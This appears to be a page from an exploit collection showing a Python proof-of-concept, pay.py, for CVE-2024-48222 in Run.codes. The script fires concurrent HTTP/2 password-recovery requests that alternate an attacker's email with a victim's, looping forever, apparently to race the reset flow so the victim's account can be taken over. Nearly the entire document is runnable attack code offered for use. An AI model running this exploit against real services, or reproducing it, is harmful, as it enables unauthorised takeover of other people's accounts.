4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / pay.py PY
import httpx
import asyncio

import argparse

async def recover_password(base_url, email):
    print("Sending recovery request...")
    url = f'{base_url}/users/recoveryPassword'
    payload = {
        '_method': 'POST',
        'data[User][email]': email
    }
    async with httpx.AsyncClient(http2=True) as client:
        response = await client.post(url, data=payload)
        return response

async def send_recovery_requests_async(base_url, emails):
    tasks = [recover_password(base_url, email) for email in emails]
    return await asyncio.gather(*tasks)

async def main():
    parser = argparse.ArgumentParser(description="Run.codes CVE-2024-48222")

    parser.add_argument('-u', '--url', required=True, help="Base URL", dest='base_url')
    parser.add_argument('-a', '--attacker-email', required=True, help="Attacker's email", dest='attacker_email')
    parser.add_argument('-e', '--victim-email', required=True, help="Victim's email", dest='victim_email')
    parser.add_argument('-t', '--tries-in-packet', default=10, help="How many recovery tries to put in a single http/2 packet", dest='tries')

    args = parser.parse_args()

    base_url = args.base_url
    attacker_email = args.attacker_email
    victim_email = args.victim_email
    tries = args.tries
    emails = [ attacker_email, victim_email ]

    while True:
        await send_recovery_requests_async(base_url, [emails[i%2] for i in range(tries)])

if __name__ == "__main__":
    asyncio.run(main())